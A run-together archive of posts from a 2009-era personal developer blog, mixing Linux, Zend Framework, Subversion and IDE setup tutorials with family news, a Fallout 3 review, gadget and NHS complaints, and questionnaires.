Whats more, if Microsoft really love the Bing name, will they start replacing all the Windows Live products after replacing Live Search? Will we start using Bing Messenger, Bing Hotmail and so on? Will they do a last minute re-brand of Windows 7 to be Windows Bing? That would be quite funny…

First create the logon key. SSH to the server you wish to set up the connection to using your normal username and password.

chmod 700 ~/.ssh
cd ~/.ssh
chmod 600 authorized_keys
ssh-keygen -t dsa
cat id_dsa.pub >> ~/.ssh/authorized_keys

Then download the id_dsa file to your laptop, using SFTP or similar, move it to something like ~/.ssh/keys/myserver.key and chmod 600 myserver.key. On your laptop, edit ~/.ssh/config and add something like this:

Host myserver
    HostName 1.2.3.4
    User u12345678
    IdentityFile /home/user/.ssh/keys/myserver.key

That should be all there is to it!

I think this table (source) pretty much explains itself…

Basically to get the iPhone 3G S 16GB for free, you must be tied into a £73.41 a month contract for 18 months. Pay-as-you-go prices for the iPhones 3G S 16GB and 32GB are £440.40 and £538.30 respectively, which is just disgusting.

The HTC Magic (released back in May) already has most of the features the new iPhone is now touting – so why bother spending all the money when you could get just as good a smartphone, but for much less. I’m on a £35 a month 18 month contract, and my phone was free. The only feature the HTC Magic doesn’t currently have is internet tethering, but I’ve only had a use for that once in my life… so… I’m not really that bothered. And from what I’ve led to believe the HTC Magic hardware does support it, but it requires a little hacking to get working. And despite what you might read in the press, it’s actually a bloody good smartphone, and I got along with it much better than the iPod Touch I tried. Admittedly I’ve only played with an iPhone for about 10/15 minutes, but I found it pretty janky, just like the iPod Touch I tried.

And if you don’t like the virtual keyboard on the HTC Magic, word on the street is that there will be a new Android-based phone released in the summer that returns the physical qwerty… along with a whole host of other Android-based phones from various manufacturers.

Today is a good day for Android, and a bad day for your pocket if you’re an iPhone fan…

However I came across a couple of “issues” or teething problems rather, that thankfully with a short Google (sorry Bing…), I managed to find solutions for…

Delaying the Code Completion Pop-up

Here at Netbasic towers, we have very big projects. The main project I work with has nearly 5,000 files, most of which are classes, and our custom framework has around 500 files, again mostly consisting of classes. Can you tell we love OOP PHP? Anyhow, this makes Netbeans run a little slow when loading the code completion pop-up. In Eclipse PDT, there is the option to delay the appearance of the code completion so it only appears if you’re stuck. In Netbeans I could not find such an option, and my only option appeared to be turn of auto appearing the pop-up, thus forcing me to Ctrl+Space every time I wanted code completion. This is a little niggle, but there is a solution for it:

As a workaround in the file:
%USERPROFILE%/.netbeans/6.5/config/Editors/text/x-java/Preferences/org-netbeans-modules-editor-settings-CustomPreferences.xml

The value completion-auto-popup-delay can be set manually.

Source: http://www.netbeans.org/issues/show_bug.cgi?id=124540

Tabs versus Spaces for Indentation

We use tabs at Netbasic, and using tabs is my preference over using 4 or another number of spaces. Despite how simple the interface is for Netbeans, it’s a little confusing. The reason is because it’s actually aimed towards Java developers. Read this and comprehend it, and it might just help you figure out how to use tabs instead of spaces…

Four spaces should be used as the unit of indentation. The exact construction of the indentation (spaces vs. tabs) is unspecified. Tabs must be set exactly every 8 spaces (not 4).

Source: http://java.sun.com/docs/codeconv/html/CodeConventions.doc3.html#262

Basically what you have to do is set the “Exand Tabs to Spaces” off, and set the “Tab Size” to 4.

Credit goes to Al’s Blog for that one. And the issue for it: http://www.netbeans.org/issues/show_bug.cgi?id=52053

With these couple of things out the way (which were show-stoppers for us using Netbeans at Netbasic), I can continue using Netbeans for now and hopefully recommend that we switch from Eclipse PDT!

Last weekend we spent outdoors with her at a couple of picnics (one of which was my nephew Finley’s birthday!) which was really nice and so she got to see some friends and family. We’re keeping in touch with my parents in France via webcam which is great, and she gave them a smile the other morning which was really nice to see. If you’ve been following my tweets, you’ll know that she’s already smiling and laughing. At the moment most laughs turn into hiccups, but there is the odd time (normally when I’m at work, damnit!) that she does a proper laugh. I managed to catch her doing it this morning which was so awesome to see.

It’s a busy and hectic life at the moment, and I rarely get a chance to do anything for myself, but she is totally worth it.

Create a new project of the type you want to convert your existing project to. In my case, I just created a new PHP Project. Alternatively, you can use an existing PHP Project (or project of the type you want to convert to) if you have one. Open the .project file of this, and copy the <natures> and <buildSpec> XML sections. Open the .project file of the project you wish to convert. Remove the old <natures> and <buildSpec> sections and replace with the copied section. If you have other <natures>, for example PDE etc., then you’ll have to merge them by hand. Mine now looks a little like this:

<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
	<name>someprojectname</name>
	<comment></comment>
	<projects>
		<project>otherproject</project>
	</projects>
	<buildSpec>
		<buildCommand>
			<name>org.eclipse.wst.validation.validationbuilder</name>
			<arguments>
			</arguments>
		</buildCommand>
		<buildCommand>
			<name>org.eclipse.dltk.core.scriptbuilder</name>
			<arguments>
			</arguments>
		</buildCommand>
		<buildCommand>
			<name>org.eclipse.php.core.PhpIncrementalProjectBuilder</name>
			<arguments>
			</arguments>
		</buildCommand>
		<buildCommand>
			<name>org.eclipse.php.core.ValidationManagerWrapper</name>
			<arguments>
			</arguments>
		</buildCommand>
	</buildSpec>
	<natures>
		<nature>org.eclipse.php.core.PHPNature</nature>
	</natures>
</projectDescription>

It’s as simple as that! Close the project and re-open it and you’ll have all the magical features of PDT (or whichever project type you wanted…)

Again, we start with installing the LAMP stack if you haven’t done so already:

sudo tasksel install lamp-server

So now you’ve got your LAMP stack up and running, lets download the latest SVN tag of Zend Framework. At the time of writing, the latest stable is 1.8.1, which I’ll use here. If you want to check for the latest version, visit http://framework.zend.com/svn/framework/standard/tags/ in your browser, and the last folder is the one you want. If you want stable full releases, ignore the RC/PR versions. So, once you’ve determined the version you want, we’ll check out the release:

cd /opt
sudo mkdir ZendFramework
sudo svn co http://framework.zend.com/svn/framework/standard/tags/release-1.8.1/

It is likely you’ll need to use sudo for these commands as /opt is owned by root by default. You’ll see a big long list of files being checked out, and once that’s done you’ll have a new folder appropriately named “release-1.8.1″. Create a soft link called “current” to the release folder so you can change the default included Zend Framework version without restarting Apache in the future:

sudo ln -s release-1.8.1 current

You can stop there if you like, and manually add the include path into your PHP scripts using set_include_path. However, if you would like the current Zend Framework included automatically, then continue by opening /etc/php5/apache2/php.ini in your favourite editor. Add the path to your include_path list. For example, if your current include_path is (and this is the default):

include_path = ".:/usr/share/php5:/usr/share/pear"

Then change it to:

include_path = ".:/usr/share/php5:/usr/share/pear:/opt/ZendFramework/current/library"

All you need to do now is restart Apache:

/etc/init.d/apache2 restart

In the future, if you wish to change to a new default Zend Framework version (for example 1.8.2), then just check out the SVN directory and change the soft link. You won’t even have to restart Apache, and the changes will take effect immediately! For example:

sudo svn co http://framework.zend.com/svn/framework/standard/tags/release-1.8.2/
sudo rm current
sudo ln -s release-1.8.2 current

Now to initialise a new Zend Framework project using Zend_Tool, we need to set up paths and so on for your command line. If you haven’t already, you need to install the CLI (Command Line Interface) for PHP:

sudo apt-get install php5-cli

Once that’s installed, we need to add the Zend Framework’s bin directory to the path. First lets add the framework path to the CLI’s php.ini. Do the same php.ini modification as above but in /etc/php5/cli/php.ini.

Edit your ~/.bashrc or /etc/profile (or wherever you’d like to add the path) and add this line:

PATH=/opt/ZendFramework/current/bin:"${PATH}"

To check this is all working properly, you can:

zf.sh show version

If you see the above output, then Zend Framework is successfully setup. For more information about Zend_Tool and how to set up a new Zend Framework 1.8.x project, read the documentation.

You can keep up to date with the latest Zend software, then just subscribe to their RSS feed!

My problem is that I want pretty URLs for my app, such as http://blah.com/home/folder/5/item/27. The URL structure of Zend Framework means that the URL has to look like this: http://blah.com/home/index/folder/5/item/27. There’s probably a way around that (my original idea was to use http://blah.com/home/?folder=5&item=27 but that’s just ugly), but I’ll settle for using the pointless verb “go” as the action name, resulting in http://blah.com/home/go/folder/5/item/27. But I also want that goAction to be called when I just go to http://blah.com/home/. I had a quick look at the ZF documentation, but I couldn’t see much about setting a default action in a controller, so here’s my solution:

class HomeController extends Zend_Controller_Action
{
	public function indexAction()
	{
		// ... action code here ...
	}
 
	public function goAction()
	{
		$this->_forward('index');
	}
}

As I said, there’s probably an easier way around this, but this works for me, so ner!

Update: As always, there is an easier way of doing this and I was reading the wrong part of the documentation. As Patrick says in his comment:

Hello, there is a way to specify default module, controller and action for each active route in the Zend_Controller_Router used by Zend_Controller_Front.

http://framework.zend.com/manual/en/zend.controller.router.html#zend.controller.router.routes.standard.variable-defaults

just pass an array

If you’re seeing something like this in your Apache error.log:

No module named trac.web.modpython_frontend

Then what has probably happened is Python was upgraded to a more recent version. I install Trac in python 2.4, therefore the Trac egg was in the /usr/lib/python2.4/site-packages directory. After the upgrade to python 2.6, the location would’ve changed. Thankfully, a very quick and simple solution fixed it for me:

sudo easy_install Trac

It worked like a charm for me, but if you have to install manually then I expect you’ll have to follow the TracInstall instructions over again…

Basically, you talk like an HTTP server (not specifically Apache, but “Apache” was similar to “A pirate”…). If you need help, here are some responses you can give people to confuse them.

Other ideas could be borne from this, such as Talk Like an MTA Day, or Talk Like SSH Day. I expect the later would have to be encrypted though…

Just imagine the conversation anyway:

You: Hi James, how are you?

Me: 200 OK

You: What?

Me: 304 Not Modified

You: I don’t understand…

Me: 304 Not Modified

You: You’re such an idiot…

Me: 400 Bad Request

Current Release (1.5.1):

Eclipse 3.2: http://downloads.open.collab.net/eclipse/update-site/e3.2

Current Release (1.8.1):

Eclipse 3.3: http://downloads.open.collab.net/eclipse/update-site/e3.3
Eclipse 3.4: http://downloads.open.collab.net/eclipse/update-site/e3.4

Development Builds:

Eclipse 3.2: http://downloads.open.collab.net/eclipse/dev-builds/e3.2
Eclipse 3.3: http://downloads.open.collab.net/eclipse/dev-builds/e3.3
Eclipse 3.4: http://downloads.open.collab.net/eclipse/dev-builds/e3.4

These are sourced from: http://desktop-eclipse.open.collab.net/servlets/ProjectProcess?pageID=3794

The big problem here is that Eclipse is just too new for Ubuntu – even Jaunty. An apt-get install subversion on Jaunty Jackalope will install subversion 1.5.4, which just doesn’t work, and thats where the big problem lies. CollabNet for Eclipse categorically requires Subversion 1.6. Unfortunately the only solution I’ve come up with is to compile subversion and it’s javahl bindings yourself. I’ll try and remember all the steps I took to make it work.

First, download the latest subversion and subversion-deps tgz from http://subversion.tigris.org/. At time of writing they are here and here. Extract them both:

$ tar zxvf subversion-1.6.1.tar.gz
$ tar zxvf subversion-deps-1.6.1.tar.gz
$ cd subversion-1.6.1

You’ll need to install a couple of extra packages (this assumes you’re using Sun’s JRE), and assuming you already had subversion and libsvn-javahl already installed, uninstall a couple:

$ sudo apt-get install libssl-dev sun-java6-jdk g++
$ sudo apt-get remove subversion libsvn-javahl

Configure, make and install subversion. You can check it’s the right version too:

$ ./configure --disable-nls --enable-javahl --with-jdk=/usr/lib/jvm/java-6-sun-1.6.0.13
$ make
$ sudo make install
$ svn --version

Once that’s done, you’ll want to compile the javahl binding. Once installed, check it’s installed correctly too. It’s fairly likely the .so file will be in /usr/local/lib.

$ make javahl
$ sudo make install-javahl
$ sudo updatedb
$ locate libsvnjavahl-1.so
$ sudo ldconfig

Open your eclipse.ini, and after the -vmargs line, add:

-Djava.library.path=/usr/local/lib

replacing the path with the path where the libsvnjavahl-1.so with your correct path.

Now fire up Eclipse, go to Window > Preferences > Team > SVN. The SVN Interface should now say JavaHL (JNI) 1.6.1 and a revision, depending on the particular version of SVN you installed.

I think that’s all the steps I took, so I apologise if I missed something out – if I remember something I’ll add it in!

Update: Compiling javahl requires g++, so I added that into the apt-get install line.

Update 2: Missed out ldconfig after libraries creation.

Update 3: If you still have issues getting it to work, I recommend looking at http://subclipse.tigris.org/wiki/JavaHL, reading it carefully, especially the Troubleshooting on Linux section. The javahltests.jar JUnit tests that are provided on the page may be very handy when debugging problems!

Unfortunately due to a large amount of blood loss (from Hannah, not the baby!), Hannah and Freyja have been kept in overnight, which means I am home alone tonight with my thoughts and experiences on this truly lifechanging thing.

I will certainly never forget the first time I saw Freyja’s hair appearing, or when the head was born, or the cutting of the umbilical cord. I’m not exactly squeemish so I got stuck right in with everything I could, but of course mainly supporting Hannah the best I could.

I also would like to send a rather large hat tip to our absolutely fantastic midwife, and the rest of the staff in the labour suite. She did an astounding job at calming Hannah, keeping myself and Hannah up to date with the happenings, and surprisingly – for an NHS hospital – attentiveness was excellent, and for most of the time we felt like we had her [the midwife] to ourselves! Unfortunately we didn’t get the planned water birth at Blakes in Gosport, but all that matters is that both Hannah and our gorgeous daughter are OK, and for that I am truly thankful.

Well, I have sheets to change so I must get on – I am so tired and can hardly function, and I have to be up early tomorrow to visit Hannah at the hospital. So, until next time…

CIFS VFS: server not responding
CIFS VFS: no response for cmd 50 mid 0

This started happening when I added a CIFS mount to our NAS box at home in /etc/fstab. Basically what is happening is that the wireless network interfaces (set up by NetworkManager in Gnome) are being shut down prior to the CIFS mount being unmounted, which causes a timeout trying to unmount… because there’s no network connection.

Turns out this is a very well-known issue, but won’t be fixed for Jaunty Jackalope (the next Ubuntu version). Read more here.

There are some proposed workarounds, some of which aren’t suitable in all cases (hence why the Ubuntu team haven’t got a fix for it yet):

1. Do not use system-wide CIFS mounts but use Gnome VFS pseudomounts like typing smb://foo/bar in nautilus
2. Define your network in /etc/network/interfaces rather than in NetworkManager
3. Hacking the shutdown sequence to make it unmount network filesystems earlier (for example moving S31umountnfs.sh to S14umountnfs.sh in /etc/rc[06].d) : will fix it if you aren’t executing anything on those network filesystems

Method 2 and 3 require a little technical knowledge, and method 1 (pseudomounts) aren’t really suitable as they’re not permanent. Another solution not listed here is to add a kill script to the shutdown sequence that runs pretty much immediately to unmount the directory you want unmounted. Again though, that requires a little Linux knowledge.

So for those of you who aren’t Linux savvy, unfortunately there isn’t a simple solution out there yet. I haven’t got around to fixing it on my own laptop yet, but when I do, I’ll probably post a quick tutorial!

Anyway, David Cooper posted a quick howto on adding CSS to a Zend Framework page, which works and is all well and good, but there was a problem. The code that Zend Framework spits out was not XHTML valid. As I said, I might’ve missed something out, and this might be a really convoluted way of doing things, but give me a break, I’m just learning it!

Firstly, in your controller’s action (e.g. IndexController::indexAction), add a list of CSS files:

$css_files = array('index.css','test.css');
$this->getFrontController()->setParam('css',$css_files);

Modify the list of CSS files to suit your needs. Note that the $css_files must be an array, otherwise the helper class will ignore it. Now add a new PHP file in application/views/helpers called ‘CssInclude.php’, and put this in it:

<?php
 
class Zend_View_Helper_CssInclude
{
	function cssInclude()
	{
		$output = '';
		$fc = Zend_Controller_Front::getInstance();
		$baseUrl = $fc->getBaseUrl();
		$css_files = $fc->getParam('css');
 
		if(is_array($css_files))
		{
			foreach($css_files as $css_file)
			{
				$output .= '	<link rel="stylesheet" type="text/css" media="screen" href="';
				$output .= $baseUrl . '/css/' . $css_file . "\" />\n";
			}
		}
		return $output;
	}
}

This is a helper class that takes the parameter you set in the controller, and simply churns out an XHTML valid <link> tag. There’s just one more step, add this in your layout or view:

<?php echo $this->cssInclude(); ?>

And voila! If there’s a better way of doing this, then I’d like to know!

For the new Zend Framework 1.8.x series, please refer to this article. This is still here for historical purposes.

This is a pretty simple howto, but here it is anyway!

I assume already that you’ve got a LAMP stack working, and if you don’t, it’s easy as pie to install one in Ubuntu:

sudo tasksel install lamp-server

So now you’ve got your LAMP stack up and running, lets download the latest SVN tag of Zend Framework. At the time of writing, the latest stable is 1.7.8, which I’ll use here. If you want to check for the latest version, visit http://framework.zend.com/svn/framework/standard/tags/ in your browser, and the last folder is the one you want. If you want stable full releases, ignore the RC/PR versions. So, once you’ve determined the version you want, we’ll check out the release:

cd /usr/share/php5
sudo mkdir ZendFramework
sudo svn co http://framework.zend.com/svn/framework/standard/tags/release-1.7.8/

It is likely you’ll need to use sudo for these commands as /usr/share/php5 is owned by root by default. You’ll see a big long list of files being checked out, and once that’s done you’ll have a new folder appropriately named “release-1.7.8″. Create a soft link called “current” to the release folder so you can change the default included Zend Framework version without restarting Apache in the future:

sudo ln -s release-1.7.8 current

You can stop there if you like, and manually add the include path into your PHP scripts using set_include_path. However, if you would like the current Zend Framework included automatically, then continue by opening /etc/php5/apache2/php.ini in your favourite editor. Add the path to your include_path list. For example, if your current include_path is (and this is the default):

include_path = ".:/usr/share/php5:/usr/share/pear"

Then change it to:

include_path = ".:/usr/share/php5:/usr/share/pear:/usr/share/php5/ZendFramework/current/library"

All you need to do now is restart Apache:

/etc/init.d/apache2 restart

In the future, if you wish to change to a new default Zend Framework version (for example 1.8.0), then just check out the SVN directory and change the soft link. You won’t even have to restart Apache, and the changes will take effect immediately! For example:

sudo svn co http://framework.zend.com/svn/framework/standard/tags/release-1.8.0/
sudo rm current
sudo ln -s release-1.8.0 current

If you want to keep up to date with the latest Zend software, then just subscribe to their RSS feed!

Can I just say how outstanding I think this game is? I was glued to my 360 for the entire weekend playing it as for once I decided to nothing at all. The graphics are perfect, the storyline is awesome, and the sheer amount of detail is unimaginable!

Like other Bethesda games, it’s hugely overwhelming the amount of stuff one can do, and I highly recommend the strategy guide, especially for setting up your character at the moment. It tells you things you wouldn’t think of, like the fact Lockpick is probably the most important skill in the entire game if you want any decent rewards (much to my annoyance, I didn’t read this prior to creating my character). The quest guides are pretty much walkthroughs, so if you prefer to play, just use the strategy guide as reference, although there are some good hints and tips (such as there’s only one way to get Three Dog’s cache).

Anyway, back to the game instead of the strategy guide… As I mentioned earlier, the storyline for this is just awesome, but I think the reason for that is because the story is so flexible and you can make it as dynamic as you want. For most of the part (excluding quests like Tranquillity Lane etc.) you’re given the freedom to do what you want, when you want. For a casual gamer such as myself, that is an enormous tick in the “pro’s” column.

The thing I love the most about this game is how engaged you can or can’t get. It’s good to play for 15 minutes; you can mess around blowing stuff up and hiring prostitutes, or you can play it for hours and get really involved, and often very sidetracked from what you were doing originally. Add to this the most important value in video games (that I haven’t seen pulled off effectively since the days of Elite and Monkey Island): awesome logic and literal puzzles. From the downright obvious (Prime’s Puzzle for example) to hacking those terminals if you don’t have the password, which require a little thought.

Fallout 3 really has done it for me, and I’m loving it. Not since the days of my Amiga 500 have I felt this engaged in a video game. Yeah, you can have COD4 and all your shooty crap where the objective is clear (point gun and shoot) and the storyline is weak at best, and by no means can you not just point and shoot in Fallout 3… but this game gives you the tools to go so much further than that and really get into it.

Hell I’m not even a big fan of futuristic sci-fi, I prefer a good fantasy theme any day, but this post-nuclear 50’s theme demonstrating total armageddon upon Washington D.C. and surrounding area is just irresistible to even the casual RPG fan when presented to you in such eye-candy graphics. As you might realise by now, I really love this game, and if you’re a fan of RPGs I highly recommend you pick yourself up a copy of this if you haven’t already – and even if you’re not a fan, play it round a mates and you might just like it and get yourself one.

And honest ‘guv, I’m not sponsored by Bethesda!

I will publish a blog post on Tuesday 24th March about a woman in technology whom I admire but only if 1,000 other people will do the same.

Here is mine, and although I didn’t have to think very hard about who to post about, I still admire her more than anyone in the world.

Hannah is 39 weeks and 1 day pregnant today, and she’s still working hard at Netbasic. She’s not exactly a pro programmer, but she’s learning so quickly. From knowing nothing at all about HTML or CSS or Photoshop, she’s come forwards in leaps and bounds with the help of everyone here. It’s certainly not easy for her, she gets aches and pains all day, Braxton Hicks contractions, extremely painful kicks, and all sorts. She’s under the weather, tired and very drained, yet somehow she is carrying on, she’s still working hard and creating pages that are helping keep the company going!

I suppose this is just my way of saying how proud I am of her, and how awesome she is.

Disclaimer: Read the linked page and you’ll see it’s actually a completely different story. It could’ve been any console controller there… except for Wii’s, because clearly you won’t die fat using one of them…

I actually agree with the ASA in this instance, I think the advert is suitably fitting. It doesn’t mean you’ll die playing computer games, it’s more of a generalisation that sitting on your bum all day watching TV and generally not being active could lead to obesity or health problems.

The message I get from that advert is that my 15/20 minute walks are good, and if anything I should be getting more active!

I’ll have to go further afield to find a dentist, and it still isn’t going to be free. Last time I had a tooth pulled it cost about £100 on the NHS. That’s not a pretty sum. I also had a quick Google and found this Daily Express article. Clearly, NHS dentistry in the UK is abysmal. Why can’t it be free like medical services? I pay income tax and National Insurance – so what makes teeth so special? No wonder most people allow their teeth to rot away – they’d rather have that then pay the stupid NHS prices.

Perhaps we should start getting dental insurance…?

Pregnancy would be so much easier if we knew exactly when baby was coming… we still wait!

Help Secure Jacks Place @ Naomi House

Once again Sii is running everywhere in an effort to make himself fit enough for another sponsered marathon.

This time, he’s trying to raise money for jacksplace@naomihouse. Naomi House provide respite care, terminal care and bereavement support for children, young people and their families. Netbasic organised a trip last year to visit the hospice, and it’s really good to see what a fantastic job they are doing there.

Jack’s Place is a multi-million pound project to create an entire new building to provide support for young people. Because of the financial crisis,  Naomi house, like many charities, are currently going through a really hard time – they have a huge amount of funds at risk in the bank – and are campaigning to secure the funds that the hospice rely on to keep giving support for children with life-limiting and terminal illnesses.

Radio 4 will be airing a programme called Seven Days tonight at 8pm, which I hope will raise awareness for Naomi House’s campaign.

In the mean time you can help right now by sponsoring Sii’s run – it’s for a really good cause and your donation really will be appreciated, and will go towards buying a door that will allow the young people to go where they please, see their friends, or pop out in the garden for some fresh air – just like you and I can whenever we want.

Help Secure Jacks Place @ Naomi House

It fustrates me though when people (even an established name like Intel) are trying to lower the cost of laptops (or in this case Ultra Low Voltage technology) such as the Macbook Air when, even at reduced prices, most consumers still can’t afford them, and lenders still can’t afford to give out credit. All they’re doing is reducing the value of these laptops and (although ULV tech is a bit expensive even for the current climate) making them almost a “cheap” alternative to a decent laptop. Essentially, the market won’t be stimulated until people have money again. How that happens isn’t really my area of expertise.

In my personal situation, I can afford repayments on a laptop but no-one will give me credit in these “exciting” 0.5% base rate times. That means I won’t be getting a new laptop any time soon.

Now is the time I really wish I was one of those fat cat execs with $1.2 million bonuses after 5 months of work. I want a new laptop, damnit!

Just 6 more days and we’ll be full term, which basically means I will become Daddy James very soon. We are both going to her antenatal appointment (nice and early, 8:45am) tomorrow morning, and Sunday we’ll be checking out Blakes Birthing Centre in Gosport, hopefully where the birth will take place.

So… it is just a matter of time… more news as it comes!

If all required Diablo 2 ‘.MPQ’ files are installed on the hard drive, the game will no longer require the CD to play.

For users that originally performed a ‘Full Installation’ and wish to run without the CD, all ‘.MPQ’ files should be copied from the Diablo 2 CDs to the Diablo 2 directory. Most users will only need to copy D2Music.mpq from the Diablo 2 Play CD and/or D2xMusic.mpq from the Lord of Destruction CD. Mac users will need to copy these music files and rename them to ‘Diablo II Music’ and ‘Diablo II Expansion Music’ respectively.

Anyone who did not perform a ‘Full Installation’ will need to re-install from CD again to ultimately play without the CD. In this case, a ‘Full Installation’ is required, followed by file copy step noted above.

Which basically means, the need for a No-CD crack is no longer required for playing Diablo 2, wahey! I suppose the reason for that is beacuse they’ve made Diablo 2 and Starcraft available on their Blizzard Store for download to play, meaning that some users simply don’t have a CD to use. I never used a No-CD crack myself as I had my own copy of the game (I say this with sincerity!), but I know a fair few people who did – probably due to Diablo 2 being one of the best games ever.

I really hope Diablo 3 lives up to my extremely high expectations, and is worth the wait. In the mean time, I shall have to settle for a cool shirt*.

* Anyone notice that Blizzard’s site is entirely XSLT? How cool is that! I might learn me some of that…

1. WERE YOU NAMED AFTER ANYONE? King James and King Edward.
2. WHEN WAS THE LAST TIME YOU CRIED? Last time I had a few too many drinks I expect
3. DO YOU LIKE YOUR HANDWRITING? Depends how neatly I decide to write, but I prefer to type
4. WHAT IS YOUR FAVORITE LUNCH MEAT? Salami or Antipasto
5. DO YOU HAVE KIDS? Nearly! Due 30th March.
6. IF YOU WERE ANOTHER PERSON, WOULD YOU BE FRIENDS WITH YOU? Yeah, I’m loveable and awesome…
7. DO YOU USE SARCASM? Yes, I love it
8. DO YOU STILL HAVE YOUR TONSILS? Yes
9. WOULD YOU BUNGEE JUMP? Probably, yes
10. WHAT IS YOUR FAVORITE CEREAL? Strawberry crisp stuff, but it’s so expensive
11. DO YOU UNTIE YOUR SHOES WHEN YOU TAKE THEM OFF? No
12. WHAT IS YOUR FAVORITE ICE CREAM? Phish Food
13. WHAT IS THE FIRST THING YOU NOTICE ABOUT PEOPLE? Their face
14. RED OR PINK? Black – blacker than the blackest black times infinity.
15. WHAT IS YOUR LEAST FAVORITE THING ABOUT YOURSELF? I can be very stubborn and react before thinking
16. WHO DO YOU MISS THE MOST? Hannah, Family and the Frosthold guys
17. DO YOU WANT EVERYONE TO COMPLETE THIS LIST? I don’t tag people. If they want to fill it out, they will.
18. WHAT COLOR PANTS AND SHOES ARE YOU WEARING? Black & Blue
19. WHAT GOALS DO YOU HAVE FOR 2009? Bring up our baby as best I can, and generally enjoy life.
20. WHAT ARE YOU LISTENING TO RIGHT NOW? Burzum – Hliðskjálf… it’s a good atmospheric album, I like it.
21. IF YOU WERE A CRAYON, WHAT COLOR WOULD YOU BE? I dunno.. red or something.
22. FAVORITE SMELLS? Fresh bedsheets, pesto or most things being cooked.
23. WHO WAS THE LAST PERSON YOU TALKED TO ON THE PHONE? The service department at Peugeot Hamble to tell me the car has passed it’s MOT and is ready to be picked up.
24. FAVORITE SPORTS TO WATCH? Anything involving people dying…
25. HAIR COLOR? Brown
26. EYE COLOR? Brown
27. DO YOU WEAR CONTACTS? Yes, every day, dailies.
28. FAVORITE FOOD? Pesto dishes, and creamy dishes like home-made Chicken & Mushroom Pie or my Philly pasta, or pork loins, done most ways, preferably with some home-made crackling. Yum!
29. SCARY MOVIES OR HAPPY ENDINGS? Scary movies WITH happy endings, otherwise I have to watch a happy film after otherwise I get scared.
30. LAST MOVIE YOU WATCHED? The first half of The Sum of All Fears on Film4 last night before I got tired, had a shower and went to snuggle with Hannah.
31. WHAT COLOR SHIRT ARE YOU WEARING? Frosthold shirt!
32. SUMMER OR WINTER? Summer, except when there’s snow!
33. HUGS OR KISSES? Both
34. MOST LIKELY TO RESPOND? I don’t tag people.
35. LEAST LIKELY TO RESPOND? I don’t tag people.
36. WHAT BOOK ARE YOU READING NOW? Php|architect’s Zend PHP 5 Certification Study Guide
37. WHAT IS ON YOUR MOUSE PAD? Mouse pads are GAY
38. WHAT DID YOU WATCH ON TV LAST NIGHT? The Sum Of All Fears
39. FAVORITE SOUND(S)? Metal and Hannah
40. ROLLING STONES OR BEATLES? Neither – I’m just not a fan of either, sorry.
41. WHAT IS THE FARTHEST YOU HAVE BEEN FROM HOME? California or Whistler or Egypt – not sure which is furthest.
42. DO YOU HAVE A SPECIAL TALENT? I’m a loyal friend – something that lacks in many people these days.
43. WHERE WERE U BORN? Fareham – Blackbrook Birthing Centre to be precise, which is now shut.
44. WHOSE ANSWERS ARE YOU LOOKING FORWARD TO GETTING BACK? Meh.
45. HOW DID YOU MEET YOUR SPOUSE/SIGNIFICANT OTHER? Drunk at house party, yay!

Many Windows users will have already seen this install software, which is now downloaded every time you want to update a program, such as Windows Live Messenger. The program itself isn’t my concern, rather the automatic ticking of nearly every other Windows Live software on the list. I only wanted to update Windows Live Messenger, yet the program had automatically selected Mail, Photo Gallery, Toolbar, Writer, Family Safety, Office Outlook Add-on and Office Live Add-on for additional installation. That is an extra 128mb – a paltry amount, by most accounts, yet still an amount I have no need for.

To rub salt into the wound, post installation the default option is to change your search engine as well as fix your homepage. Rumours on the Internet are that if you do not remove the “Set my homepage” link, then the program installs an additional program that forces your homepage to stay the same; apparently (although I have not had first hand evidence) to the extent of not letting the user change their homepage for themselves. The idea behind it is to stop spy ware changing the homepage, yet this seems counter-intuitive to not allow users to change their homepage at all… As I said though, I cannot confirm the legitimacy of this rumour, so it may be speculative.

To summarise, Microsoft shouldn’t have these additional pieces of software automatically selected for installation – a less savvy user (family members come to mind…) might not look at this list and add these unnecessary pieces of software to their system.

Zend have unveiled their newest product, Zend Server… which is essentially Zend’s own W/M/LAMP stack, but with Zend Framework and other components Zend have written, including the very handy Zend Debugger. What does that mean? Well to me, that means there’s quite an easy choice for my web development at home – I just installed it in 10 minutes and now have a fully working WAMP stack I can develop on before pushing to my Linode test server. It was 100 times easier than any other WAMP stack I’ve worked with including XAMPP and the other ones I’ve tried. It has a very shiny web GUI as well (pictured), that – as I mentioned before – I went “oooh” at lots. I personally think Zend Server has the potential to be really frickin’ awesome if I get to know it better. From the Public Beta Invitation e-mail, Zend states it includes:

• Fully supported and certified distribution of PHP 5.2
• Fully supported Zend Framework 1.7 release
• Integrated native installers (RPM/DEB/MSI)
• Web-based administration Interface
• Comprehensive out-of-the-box database connectivity
• Powerful PHP monitoring capabilities to identify problems and help fix them quickly
• URL-based output caching required by today’s modern web applications
• Zend Optimizer+ – byte code cache to boost application performance
• New “Guard Loader” to enable processing of Zend Guard encoded files

Not bad – and there’s a community edition too, which means if you’re a sole developer like me it’s affordable.

<rant>Unfortunately, they don’t do a community edition of Zend Studio for Eclipse… and although PDT is good, I feel like its the hacky “well Zend Studio uses PDT at it’s core” alternative – without the cool enhancements that ZS has… oh well!</rant>

The show tonight is totally sold out, which makes it our first sold-out show ever, and possibly our largest crowd – I don’t know how many people were at our Cradle of Filth gig. Anyway, I’m playing some suitably brutal music to get myself in the mood including:

• The Axis of Perdition – The Ichneumon Method (And Less Welcome Techniques)
• Carcass – Necroticism: Descanting the Insalubrious
• Bolt Thrower – Those Once Loyal
• Bloodbath – The Fathomless Mastery
• Morbid Angel – Covenant

1. Put your music library on shuffle.
2. For each question, press the next button to get your answer.
3. You must write that song title as the answer to the question, no matter how silly it sounds! Most of the time they seem to work though, strangely enough.
4. Ok, go!
5. When you’re done, tag 20 people in this note, and make sure to tag the person who sent you this. The answer to #20 is the Title of your note.

1) IF SOMEONE SAYS “IS THIS OK?” YOU SAY?
The Amen Corner (Opeth)

2) WHAT WOULD BEST DESCRIBE YOUR PERSONALITY?
Atrum Regina (Dark Funeral)

3) WHAT DO YOU LIKE IN A GUY/GIRL?
Waking Up Blind (Evergrey)

4) HOW DO YOU FEEL TODAY?
Pyschopathologist (Carcass)

5) WHAT IS YOUR LIFE’S PURPOSE?
No Strings Attached (Skyclad)

6) WHAT IS YOUR MOTTO?
Sea Wolf (Bathory)

7) WHAT DO YOU THINK OF YOUR PARENTS?
Decade of Therion (Behemoth)

8.) WHAT DO YOU THINK ABOUT VERY OFTEN?
Chimera (Mayhem)

9) WHAT IS 2+2?
